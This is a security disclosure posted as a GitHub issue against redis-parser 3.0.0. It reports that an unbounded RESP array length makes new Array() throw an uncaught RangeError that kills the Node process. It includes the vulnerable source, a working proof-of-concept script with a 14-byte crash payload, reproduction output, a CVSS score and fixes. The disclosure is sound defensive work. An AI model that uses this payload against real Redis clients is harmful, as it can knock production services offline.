Skip to content

[security disclosure] unbounded array preallocation uncaught RangeError crash #65

Description

@waydeshi

Summary

redis-parser 3.0.0 reads the multi-bulk array length off the wire with no
upper bound and passes it directly to new Array(length). A ~14-byte header with
length > 2^32 - 1 makes new Array throw RangeError: Invalid array length.
No try/catch exists in the call chain, so the throw escapes execute() as an
uncaughtException and terminates the Node process.

Untrusted RESP framing crosses the network-reply →
execute() → client-process
boundary via a 14-byte multi-bulk header, triggering
an uncaught exception that terminates the client process.

Trust Boundary

The RESP byte stream from the Redis endpoint is the sole untrusted input crossing
into parser.execute(). The endpoint controls RESP framing (type bytes, declared
lengths, terminators) — a strictly greater capability than storing a value via
SET, which Redis re-frames with its own correct headers on read-back.

"The endpoint is trusted" is a deployment hope, not an architectural guarantee the
library can rely on: Redis is cleartext TCP unless TLS is configured, AUTH
authenticates the client to the server (not the server's reply bytes to the
client), and a parser is by definition a trust-boundary component. A redirected or
compromised endpoint (SSRF-to-Redis, on-path attacker, failed-over cluster node,
malicious managed/multi-tenant instance) delivers attacker-chosen framing through
the same API. The crash is additionally not routed through returnFatalError;
it escapes execute() as an uncaught exception, so a consumer following the
README's protocol-error handling cannot intercept it — behavior beyond the
documented contract.

CVSS 3.1 Breakdown

Base Score: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Metric Value Justification
AV Network Multi-bulk header from a remote peer.
AC Low A single ~14-byte chunk.
PR None
UI None
S Unchanged
C None
I None
A High Uncaught exception -> process termination.

Description

function parseArray (parser) {                 // lib/parser.js:204-214
  const length = parseLength(parser)
  if (length === undefined) return
  if (length < 0) return null
  const responses = new Array(length)          // :212 — no upper bound
  return parseArrayElements(parser, responses, 0)
}

parseLength applies no cap, so length is fully attacker-controlled. For
length > 2^32 - 1, new Array(length) (lib/parser.js:212) throws a RangeError
that nothing in the execute → parseType → parseArray chain catches — execute
(lib/parser.js:491-549) has no try/catch — so it propagates to the host as an
uncaught exception.

Proof of Concept

poc/cve6_array_prealloc_crash.js — proves the throw reaches
process.uncaughtException, i.e. terminates the process under normal integration:

'use strict'
// CVE-6 (crash variant): prove it is truly an UNCAUGHT exception that terminates the process
// when the host does not wrap execute() in try/catch (the normal integration).
const Parser = require('redis-parser')
const p = new Parser({ returnReply: () => {}, returnError: () => {}, returnFatalError: () => {} })
process.on('uncaughtException', (e) => {
  console.log('uncaughtException handler fired  :', e.constructor.name + ': ' + e.message)
  console.log('RESULT: VULNERABLE (process would terminate without this handler)')
  process.exit(0)
})
p.execute(Buffer.from('*99999999999\r\n')) // no try/catch here -> escapes to uncaughtException
console.log('RESULT: not-repro')

Execution Steps

cd poc
npm install
node cve6_array_prealloc_crash.js

Reproduction Evidence

Environment: Node.js v26.5.0, redis-parser@3.0.0.

uncaughtException handler fired  : RangeError: Invalid array length
RESULT: VULNERABLE (process would terminate without this handler)

The 14-byte header *99999999999\r\n threw a RangeError that reached the
process-level uncaughtException handler. The error is not routed to
returnFatalError, so a consumer cannot intercept it; without the handler the
process terminates.

Impact

A single tiny header from a malicious/compromised/MITM Redis peer kills the
client process — every connection, tenant, and in-flight request dies together.

Recommended Fix

  • Impose a hard MAX_ARRAY_LENGTH ceiling before allocating; treat violations as
    fatal protocol errors routed through returnFatalError.
  • Build result arrays incrementally with push() rather than pre-allocating.
  • Wrap execute() in try/catch so unexpected throws degrade to a connection
    error instead of process termination.

Reference

  • CWE-248: Uncaught Exception
  • CWE-1284: Improper Validation of Specified Quantity in Input

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions